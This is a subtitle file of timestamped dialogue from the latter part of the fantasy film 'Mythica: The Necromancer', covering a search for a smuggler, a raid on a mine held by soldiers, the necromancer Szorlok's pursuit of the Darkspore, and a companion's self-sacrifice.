00:46:01.222 --> 00:46:04.028
Like a... hero, I guess?

00:46:04.938 --> 00:46:06.078
Marek, you...

00:46:09.295 --> 00:46:11.876
You're not at all
like any of the other girls.

00:46:13.374 --> 00:46:14.584
You know, you're...

00:46:15.267 --> 00:46:16.799
You're one of a kind.

00:46:19.376 --> 00:46:20.873
I don't wanna be different.

00:46:23.515 --> 00:46:25.395
There's great power in you.

00:46:27.790 --> 00:46:30.054
And I don't mean your magic.

00:46:31.885 --> 00:46:34.304
You know what you want
and you go after it.

00:46:34.748 --> 00:46:36.620
Without hesitation.

00:46:37.120 --> 00:46:38.633
Ascent.

00:46:44.482 --> 00:46:46.244
I don't always know what I want.

00:47:20.848 --> 00:47:22.026
I can't.

00:47:23.627 --> 00:47:25.836
- You can't...
- I want to, but I... I can't.

00:48:04.794 --> 00:48:06.364
Good morning, darling.

00:48:06.957 --> 00:48:08.324
How did you sleep?

00:48:11.368 --> 00:48:12.553
I know...

00:48:13.684 --> 00:48:16.311
I'd like to say,
nothing happened last night.

00:48:18.117 --> 00:48:20.777
Of course, nothing did happen,
last night.

00:48:21.689 --> 00:48:23.266
It wasn't nothing.

00:48:25.375 --> 00:48:26.467
I'm sorry.

00:48:27.157 --> 00:48:28.816
Sorry, for what?

00:48:31.133 --> 00:48:35.021
For stopping something,
that could ruin our friendship.

00:48:35.264 --> 00:48:38.618
And the chance of something better, maybe,
happening in the future.

00:48:42.938 --> 00:48:45.209
- It's yours.
- Thank you, Dagen.

00:48:45.359 --> 00:48:47.827
You really are the perfect gentleman.

00:48:50.614 --> 00:48:52.369
Not a perfect gentleman.

00:48:52.927 --> 00:48:55.674
Something is better than nothing, after all.

00:49:45.723 --> 00:49:47.340
This must be it.

00:49:47.706 --> 00:49:49.038
The Rose.

00:49:51.571 --> 00:49:53.806
I frequented better.

00:49:54.419 --> 00:49:55.609
I frequented worse.

00:49:55.997 --> 00:49:57.967
The tired soldiers could do worse.

00:50:21.660 --> 00:50:23.368
Get your hands of me.

00:50:25.972 --> 00:50:27.739
I'm waiting outside.

00:50:28.070 --> 00:50:31.559
I don't like to be touched by creatures
as diseased and vile as these.

00:50:31.766 --> 00:50:34.239
The three of you search for the Eel
and his woman.

00:50:34.334 --> 00:50:37.301
If you find either of them,
bring them to me, immediately.

00:50:37.336 --> 00:50:38.279
Allright.

00:50:38.280 --> 00:50:40.308
- Immediately.
- Understood.

00:50:42.912 --> 00:50:45.433
Hello and welcome, travelers.

00:50:45.434 --> 00:50:48.866
Good lady of the Rose,
we have travelled far for this...

00:50:49.422 --> 00:50:50.756
Pleasure.

00:50:52.243 --> 00:50:56.934
- And pleasure ye shall have.
- We're, eh... looking for a woman named Yuliya.

00:50:57.269 --> 00:50:58.320
Sorry...

00:50:58.663 --> 00:51:01.289
Is there a woman here
called Yuliya, yet?

00:51:01.619 --> 00:51:04.749
- We must see her.
- For two, please.

00:51:06.554 --> 00:51:07.809
Three silver.

00:51:08.430 --> 00:51:09.691
No, wait.

00:51:09.812 --> 00:51:12.490
No, no, no. We just want to talk to her.

00:51:12.491 --> 00:51:15.354
She's a very popular girl.

00:51:16.705 --> 00:51:17.741
Each.

00:51:26.589 --> 00:51:27.740
Yes!

00:51:30.411 --> 00:51:31.613
Yuliya?

00:51:36.332 --> 00:51:37.829
I love you ears.

00:51:37.830 --> 00:51:40.417
- They're hardly my best feature.
- Allright.

00:51:40.418 --> 00:51:43.067
Come on.
You brought friends.

00:51:43.199 --> 00:51:47.066
- We can play...
- We're not here for your services.

00:51:47.163 --> 00:51:48.284
Well...

00:51:49.772 --> 00:51:52.586
I mean...
Not initially, no.

00:51:56.160 --> 00:51:58.484
Well, I don't have any more sniff.

00:51:58.485 --> 00:52:01.737
So, whoever told you I was selling
gave you old information.

00:52:01.788 --> 00:52:02.897
Sorry.

00:52:03.344 --> 00:52:04.990
Actually, we're eh...

00:52:06.127 --> 00:52:09.741
We're looking for a smuggler,
called the Eel.

00:52:11.594 --> 00:52:13.240
Is he a friend of yours?

00:52:15.502 --> 00:52:16.808
Yuliya?

00:52:16.962 --> 00:52:21.056
- Shouldn't we take her to Betylla?
- I'm not letting him anywhere near her.

00:52:21.813 --> 00:52:23.929
- Why not?
- He'll kill her.

00:52:24.014 --> 00:52:27.182
He will kill Thane if he finds out
that we've lied to him.

00:52:28.153 --> 00:52:30.775
Betylla needs us just as much
as we need him.

00:52:30.877 --> 00:52:32.394
It'll be fine.

00:52:33.091 --> 00:52:34.255
Yuliya.

00:52:37.557 --> 00:52:38.806
Where is he?

00:52:41.222 --> 00:52:44.443
Finding him,
could save a close friend.

00:52:45.270 --> 00:52:49.299
I haven't seen him in...
close on two moons.

00:52:50.825 --> 00:52:54.665
Its... and he was going on about a ship
to the Eastern Kingdoms.

00:52:56.652 --> 00:52:59.939
He was more than just a friend.

00:53:01.181 --> 00:53:02.398
Is that all?

00:53:04.794 --> 00:53:06.984
Did you want something else with me?

00:53:09.271 --> 00:53:11.568
No. No, thank you.

00:53:15.429 --> 00:53:16.546
Marek...

00:53:16.651 --> 00:53:18.279
Imbeciles!

00:53:18.446 --> 00:53:22.360
- Where is the Eel?
- He's gone. He's gone!

00:53:25.669 --> 00:53:28.956
Worthy apetite
for a girl in the chucks.

00:53:28.957 --> 00:53:32.420
How long you've been of the sniff,
a moon, yet?

00:53:32.421 --> 00:53:36.417
She has told you everything she knows!
He's across the Eastern Sea by now!

00:53:52.560 --> 00:53:55.932
Have mercy, Betylla. Please, mercy!

00:53:55.933 --> 00:53:59.297
I can explain. This isn't my fault,
just listen to me.

00:53:59.298 --> 00:54:02.314
You owe Peregus Malister,
of the Thieves Guild,

00:54:02.315 --> 00:54:06.273
five stone of refined illustrium.
Where is it?

00:54:06.274 --> 00:54:09.004
- Well, it's a funny story actually, befo...
- Where?

00:54:10.431 --> 00:54:12.219
Golgotians, Betylla.

00:54:12.220 --> 00:54:14.430
The mine has been overrun
with Golgotian soldiers.

00:54:14.431 --> 00:54:17.380
- You're lying.
- No I'm not. I'm sorry. I'm not lying.

00:54:17.415 --> 00:54:20.330
I only got out, because I know the mines better
than they do.

00:54:20.331 --> 00:54:22.459
They must be exporting to the East.

00:54:23.676 --> 00:54:26.613
If you don't have it
and you can't find it,

00:54:26.920 --> 00:54:30.520
- than you're of no use to the Guild.
- I can get you your shipment, I can get it!

00:54:30.555 --> 00:54:32.039
- I can get it.
- How?

00:54:32.074 --> 00:54:33.750
When the Golgotians attacked,

00:54:33.751 --> 00:54:36.784
I stashed everything there was,
at least three stones worth,

00:54:36.975 --> 00:54:39.425
And I know where it is.
I can get it.

00:54:42.310 --> 00:54:44.042
You'll take us there.

00:54:44.907 --> 00:54:45.736
Yuliya!

00:54:45.737 --> 00:54:47.848
- Alton!
- Goodbye, my love!

00:54:48.674 --> 00:54:51.040
It was lovely to meet you.
Let's go.

00:54:54.346 --> 00:54:56.200
Don't ever betray us like that again.

00:54:56.764 --> 00:54:59.089
I will do whatever it takes, Marek.

00:54:59.090 --> 00:55:01.017
I'm surprised you won't do the same.

00:55:20.914 --> 00:55:21.999
You see it?

00:55:22.976 --> 00:55:24.225
This is crawling with them.

00:55:24.226 --> 00:55:26.572
And what are Golgotians
doing so far from their country?

00:55:26.573 --> 00:55:30.351
They've discovered the power
of voluntary enslavement.

00:55:31.228 --> 00:55:33.736
They rarely steal the illustrium
for themselves.

00:55:34.092 --> 00:55:36.205
They're digging too fast, too deep.

00:55:36.868 --> 00:55:40.091
The whole thing is gonna erupt,
if the cave demons don't get to them first.

00:55:40.092 --> 00:55:41.948
Then you better get on with it.

00:55:47.271 --> 00:55:49.096
Do you see that retreat down there?

00:55:49.653 --> 00:55:51.474
It's where I dropped your shipment.

00:55:57.298 --> 00:55:58.388
Who's he?

00:55:58.476 --> 00:55:59.909
The man in charge.

00:56:00.238 --> 00:56:01.882
His name is To kora.

00:56:01.883 --> 00:56:03.548
He doesn't look Golgotian to me.

00:56:05.223 --> 00:56:08.562
- I shouldn't have come. We're all...
- Calm down. What's gotten into you?

00:56:08.563 --> 00:56:11.739
- He's looking for me. He knows I'm here.
- Who's looking for... Who's looking for you?

00:56:11.824 --> 00:56:13.567
Hey, you're scarring me.

00:56:17.439 --> 00:56:19.019
He knows I'm here.

00:56:19.525 --> 00:56:21.926
Are you talking about the man in the cloak?

00:56:22.661 --> 00:56:25.569
He's not even looking this way,
he's gone into a tent.

00:56:25.570 --> 00:56:26.940
To kora.

00:56:26.971 --> 00:56:29.238
It means, "dark art" in Golgotian.

00:56:29.557 --> 00:56:31.503
- Marek, what is it?
- It's Szorlok.

00:56:31.517 --> 00:56:32.811
It can't be.

00:56:32.879 --> 00:56:36.263
- Why would he care about illustrium.
- That's not why he's here.

00:56:36.692 --> 00:56:37.712
There.

00:56:38.953 --> 00:56:41.343
There. Is that the illustrium
they're burning up?

00:56:41.470 --> 00:56:42.894
That's it.

00:56:43.270 --> 00:56:46.668
We've burned it before with fire,
but that pile is worth a fortune.

00:56:49.637 --> 00:56:51.073
What?

00:56:52.301 --> 00:56:53.838
What are they doing with it?

00:56:55.898 --> 00:56:59.223
- We need to go, I think Marek is right.
- He's here for the Darkspore.

00:56:59.224 --> 00:57:02.031
My only concern is your shipment.

00:57:02.032 --> 00:57:04.682
It's the only thing
that will save your precious friend.

00:57:04.683 --> 00:57:05.719
Yes.

00:57:05.841 --> 00:57:08.117
This shipment is what matters most.

00:57:26.378 --> 00:57:28.833
It's a good day for you, Vitalion.

00:57:28.834 --> 00:57:31.382
I've seen another one
of Betylla's beetles.

00:57:32.097 --> 00:57:33.826
I guess...

00:57:33.827 --> 00:57:36.838
I don't get to kill you
for one more day.

00:57:39.456 --> 00:57:43.993
I'm disappointed in you, Thane.
I'd had thought you'd had more fight in you.

00:57:49.032 --> 00:57:50.236
What?

00:57:51.809 --> 00:57:53.397
Speak up!

00:57:57.103 --> 00:57:58.745
She loves me.

00:57:59.059 --> 00:58:01.769
And there is nothing you can do
to take that away.

00:58:06.905 --> 00:58:08.611
Oh, gods.

00:58:08.612 --> 00:58:11.907
You're being a man,
before I even put a finger on you.

00:58:12.017 --> 00:58:13.639
That's something...

00:58:14.274 --> 00:58:16.122
you will never know.

00:58:17.950 --> 00:58:19.315
Shut your face!

00:58:19.906 --> 00:58:23.602
Never tell your enemy
what you value the most.

00:58:39.357 --> 00:58:41.386
It's just over this next ridge.

00:58:42.297 --> 00:58:43.716
Now's our chance.

00:59:08.168 --> 00:59:09.358
He can't have gotten far.

00:59:09.359 --> 00:59:11.591
- Is this the way you left it?
- It is.

00:59:11.972 --> 00:59:13.805
What exactly are we looking for?

00:59:14.149 --> 00:59:16.531
A brown bag, about this big.

00:59:16.882 --> 00:59:19.364
- Let's split up.
- Do as he says.

00:59:26.710 --> 00:59:28.978
Find it.
Now.

00:59:43.338 --> 00:59:45.910
No. No, no, no, no.
Be careful.

00:59:46.834 --> 00:59:48.145
Cave demons.

01:00:04.054 --> 01:00:05.308
Golgotians!

01:00:08.733 --> 01:00:10.274
I told you...

01:00:17.635 --> 01:00:20.392
That... was a stupid move.

01:00:38.150 --> 01:00:39.353
Marek, go!

01:00:59.317 --> 01:01:00.825
We have to save Thane.

01:01:01.173 --> 01:01:02.553
No! No!

01:01:03.020 --> 01:01:04.575
That's stupid, run!

01:02:30.034 --> 01:02:32.093
We can't just keep wandering around.

01:02:32.592 --> 01:02:34.205
There must be another way out.

01:02:36.933 --> 01:02:38.405
Illustrium.

01:03:11.208 --> 01:03:12.782
It's beautiful.

01:03:35.062 --> 01:03:36.939
It's so pure.

01:03:41.260 --> 01:03:45.285
The hell with the gods,
that's a pretty thing.

01:03:46.295 --> 01:03:48.750
- What do you suppose that's worth?
- I knew it.

01:03:48.751 --> 01:03:50.177
What, what is it?

01:03:50.212 --> 01:03:52.003
Your precious mold...

01:03:52.892 --> 01:03:55.290
It all stems from one corrupting source.

01:03:56.329 --> 01:03:58.901
- The Darkspore.
- That thing?

01:04:00.576 --> 01:04:03.521
The source of all illustrium?

01:04:03.707 --> 01:04:05.406
It's an evil thing.

01:04:05.750 --> 01:04:08.955
- With a dark purpose.
- I must have it.

01:04:09.946 --> 01:04:11.970
And build an empire.

01:04:12.943 --> 01:04:15.507
It was meant to be lost
in this mine forever.

01:04:17.135 --> 01:04:20.943
All darkness,
eventually comes to light.

01:04:22.948 --> 01:04:24.590
I'll take it to Gojun Pye.

01:04:24.656 --> 01:04:26.489
Where he'll destroy it or hide it...

01:04:52.318 --> 01:04:54.320
You know who I am.

01:04:55.579 --> 01:04:57.710
Did you know what I seek?

01:04:57.711 --> 01:05:01.425
You'll never get the Darkspore.
The gods will see to it that you fail.

01:05:01.426 --> 01:05:03.163
The gods...

01:05:03.618 --> 01:05:08.656
What can the gods do to stop me
when I have the power over life and death?

01:05:09.732 --> 01:05:12.583
I am not afraid to die.

01:05:25.612 --> 01:05:30.916
This amuses me.
You are willing to die, even for Marek.

01:05:31.120 --> 01:05:33.473
Eventhough, in time...

01:05:33.474 --> 01:05:36.571
She will be the cause
of your own destruction.

01:05:37.034 --> 01:05:39.355
You know this to be true.

01:05:39.913 --> 01:05:43.015
Yet, you cannot help
but serve her purpose.

01:05:46.062 --> 01:05:47.507
She will...

01:05:47.574 --> 01:05:48.910
never...

01:05:49.587 --> 01:05:51.192
help you.

01:05:51.193 --> 01:05:54.309
Oh, but she already has.

01:05:54.310 --> 01:05:58.389
She has already brought me two pieces
of the hart of Amon Ka.

01:05:58.945 --> 01:06:01.955
She'll surely inevitably bring me the third.

01:06:03.019 --> 01:06:06.397
She cannot escape het destiny!

01:06:10.387 --> 01:06:13.950
She cannot escape... me.

01:07:23.455 --> 01:07:25.680
Now, I never thought it would end like this.

01:07:26.673 --> 01:07:29.968
Too young to die.
I'm still in my early seventies.

01:07:30.805 --> 01:07:32.085
I'm sorry.

01:07:32.245 --> 01:07:35.392
- This is not your fault, nor your fight.
- No...

01:07:35.525 --> 01:07:37.322
Please, come on.

01:07:37.407 --> 01:07:40.589
You know me better than that.
I'm in it for the money.

01:07:40.666 --> 01:07:42.271
For the long hole.

01:07:42.461 --> 01:07:44.739
I do know you better than that.

01:07:45.398 --> 01:07:47.249
You came for Marek.

01:07:53.633 --> 01:07:56.100
[My strength is my weakness.]

01:07:59.778 --> 01:08:02.201
We all have strengths and weaknesses.

01:08:14.294 --> 01:08:15.297
No.

01:08:15.458 --> 01:08:16.921
No, no no.

01:09:54.063 --> 01:09:55.437
To Marek.

01:09:59.218 --> 01:10:00.470
Gross.

01:10:02.836 --> 01:10:04.507
Where do they hide?

01:10:04.508 --> 01:10:05.508
No, n...

01:10:06.350 --> 01:10:08.780
Ehm, never mind, don't wanna know.

01:10:09.822 --> 01:10:13.571
I will never have another scandalous thought
about you again, now, I swear.

01:10:14.932 --> 01:10:15.999
Hey...

01:10:16.519 --> 01:10:19.383
At least you managed to save Thane
for another day, huh?

01:10:22.950 --> 01:10:24.921
I didn't send it to Thane.

01:14:04.909 --> 01:14:06.188
Home.

01:14:16.861 --> 01:14:18.055
Time to go.

01:14:18.351 --> 01:14:21.112
Marek, it's a trap. Walk away, please.
No, no. No, no.

01:14:29.540 --> 01:14:30.779
Thank you.

01:14:32.081 --> 01:14:33.246
Come on.

01:14:50.597 --> 01:14:51.791
Thane!

01:15:18.219 --> 01:15:19.620
You bastard!

01:15:29.231 --> 01:15:30.393
So...

01:15:31.075 --> 01:15:34.273
You've come to face me,
as I knew you would.

01:15:34.816 --> 01:15:36.746
Now, release my friends.

01:15:36.747 --> 01:15:40.648
Release them yourself.
Release them... Yourself...

01:15:40.649 --> 01:15:42.700
Release them yourself.

01:15:59.523 --> 01:16:03.124
They are surrounded...
Surrounded by enemies.

01:16:06.747 --> 01:16:10.250
Surrounded...
Surrounded by enemies.

01:16:39.557 --> 01:16:41.863
Release your power.
Your power

01:16:41.864 --> 01:16:45.691
Take. Take. Take, their life-force.

01:16:47.193 --> 01:16:51.848
Take their life-force
and free your friend.

01:16:51.849 --> 01:16:56.376
There is no other way.
to free your friends.

01:17:38.860 --> 01:17:42.796
I will give you the Darkspore.
Now, let them go.

01:17:44.426 --> 01:17:48.181
The shard is already mine
for the taking.

01:17:59.058 --> 01:18:03.695
Take your place.
Give me what I desire most.

01:18:04.478 --> 01:18:08.269
Take your place on my side.

01:18:12.892 --> 01:18:16.710
Take your place on my side.

01:18:24.729 --> 01:18:27.086
See how they suffer?

01:18:30.972 --> 01:18:34.618
You can save them, Marek.

01:18:49.770 --> 01:18:51.647
I'm nothing like you.

01:18:52.572 --> 01:18:54.088
I'm not a murderer.

01:18:54.525 --> 01:18:56.234
No,

01:18:56.269 --> 01:19:01.035
you're not like me,
you are nothing like me, you insolent child.

01:19:02.666 --> 01:19:06.430
Now, you will suffer the fate
of all who defy me.

01:19:28.551 --> 01:19:29.808
Take my life.

01:19:30.248 --> 01:19:31.417
And use it.

01:19:33.162 --> 01:19:34.711
Save Dagen.

01:19:36.636 --> 01:19:40.568
- No. No, Teela.
- I give my life freely. Freely as a sacrifice.

01:19:40.655 --> 01:19:42.493
It's alright to take it.

01:19:45.065 --> 01:19:46.317
No.

01:19:46.536 --> 01:19:48.681
- I'm not gonna make it.
- No.

01:19:53.276 --> 01:19:54.748
It is alright.

01:20:13.016 --> 01:20:14.263
Goddess,

01:20:14.364 --> 01:20:16.256
grant me your glory.

01:20:18.160 --> 01:20:19.491
Goddess...

01:22:22.453 --> 01:22:24.031
Oh, Marek.

01:22:27.762 --> 01:22:30.415
Hold still, hold...
No, no, no.

01:22:30.416 --> 01:22:32.354
You did everything right.

01:22:32.834 --> 01:22:35.323
Don't weep, you did everything right.

01:22:36.992 --> 01:22:39.170
It's okay, you're alright, now?

01:22:40.186 --> 01:22:43.841
You did everything right.
Come one. Come on.

01:24:12.787 --> 01:24:13.822
Okay.

01:24:14.619 --> 01:24:18.631
Alright, you rest.
That's a good girl, you rest.

01:24:29.923 --> 01:24:31.655
We'll see what's left of me.

01:24:44.185 --> 01:24:45.274
Sorry.

01:24:47.405 --> 01:24:48.444
I'm sorry.

01:24:49.528 --> 01:24:52.313
- I killed her.
- Oh, no, no, no.

01:24:53.397 --> 01:24:54.886
No, no, no.

01:24:55.912 --> 01:24:57.012
Look at me.

01:24:57.013 --> 01:24:59.633
Teela sacrificed herself for Thane.

01:24:59.734 --> 01:25:02.233
And for us.
Okay?

01:25:03.406 --> 01:25:06.781
But if we don't hurry,
her blood really will... be on our hands.

01:25:06.855 --> 01:25:09.729
So, I need you to walk, okay?

01:25:10.164 --> 01:25:12.965
Can you walk?
That's it, girl. Come on.

01:25:12.966 --> 01:25:16.107
Come on, I need you to walk.
Come on. Come on!

01:25:16.108 --> 01:25:17.974
It's okay, lets walk.

01:25:17.975 --> 01:25:20.737
Okay.
All right, together.

01:25:20.738 --> 01:25:23.338
Ready?
Okay, try.

01:25:37.739 --> 01:25:38.986
Wake up.

01:25:40.021 --> 01:25:41.114
Come on.

01:25:43.278 --> 01:25:45.704
I didn't get my beetle, today.

01:25:46.456 --> 01:25:48.937
Guess that means your friends are dead.

01:25:54.122 --> 01:25:55.922
- Huh?
- ...kill you.

01:25:56.116 --> 01:25:57.827
Why don't you speak up?

01:26:01.532 --> 01:26:04.011
- I'll kill you!
- Yeah!

01:26:04.699 --> 01:26:07.091
Yes, I believe you would.

01:26:08.674 --> 01:26:10.364
That is why...

01:26:10.621 --> 01:26:13.614
you must die, Vitalion.

01:26:24.390 --> 01:26:26.353
Let him... go.

01:26:30.213 --> 01:26:31.620
Good timing.

01:26:32.549 --> 01:26:33.606
Men!

01:26:37.721 --> 01:26:38.438
Where is she?

01:26:38.473 --> 01:26:40.990
We'll talk about it, when we're out of here,
Thane, my friend.

01:26:41.025 --> 01:26:42.479
Unfortunately,

01:26:42.762 --> 01:26:44.755
I'm not letting anybody leave today.

01:26:45.424 --> 01:26:47.064
I'm gonna kill Thane,

01:26:47.539 --> 01:26:49.416
and I'm gonna kill both of you.

01:26:52.545 --> 01:26:54.042
Finish them!

01:27:12.487 --> 01:27:13.568
Die!

01:27:27.895 --> 01:27:29.226
Where's Teela?

01:27:31.711 --> 01:27:33.574
It's complicated, my friend.

01:27:39.124 --> 01:27:40.344
Is she hurt?

01:27:42.590 --> 01:27:43.843
I'm sorry.

01:27:45.713 --> 01:27:47.322
I'm so sorry.

01:29:30.457 --> 01:29:33.045
Teela sacrificed herself,

01:29:33.046 --> 01:29:35.761
to save you, Thane.

01:29:38.144 --> 01:29:39.999
To save, you.

01:30:38.184 --> 01:30:39.503
You were right.

01:30:40.341 --> 01:30:41.690
I shouldn't have gone.

01:30:44.333 --> 01:30:46.981
I know the resting place
of the fourth shard.

01:30:48.281 --> 01:30:50.244
Szorlok has no way to find it.

01:30:51.695 --> 01:30:54.985
So, we will watch and fight,
if it'll come to that.

01:30:56.076 --> 01:30:57.592
Until then...

01:30:58.799 --> 01:31:00.513
We stand ready.

01:31:14.213 --> 01:31:15.581
You're packing late?

01:31:15.962 --> 01:31:17.397
It's a long journey.

01:31:20.294 --> 01:31:22.385
What's the plan with Szorlok, then?

01:31:22.386 --> 01:31:23.960
He's a mortal man.

01:31:24.077 --> 01:31:26.331
He breathes, he eats.

01:31:26.482 --> 01:31:27.990
He sleeps

01:31:28.291 --> 01:31:30.033
He bleeds.

01:31:33.411 --> 01:31:35.920
There's not a place in the world
he can hide.

01:31:38.600 --> 01:31:41.000
[MYTHICA]
[THE NECROMANCER]

01:31:41.001 --> 01:31:43.600
Subtitle: Thunder

ZeroDay Forums Mini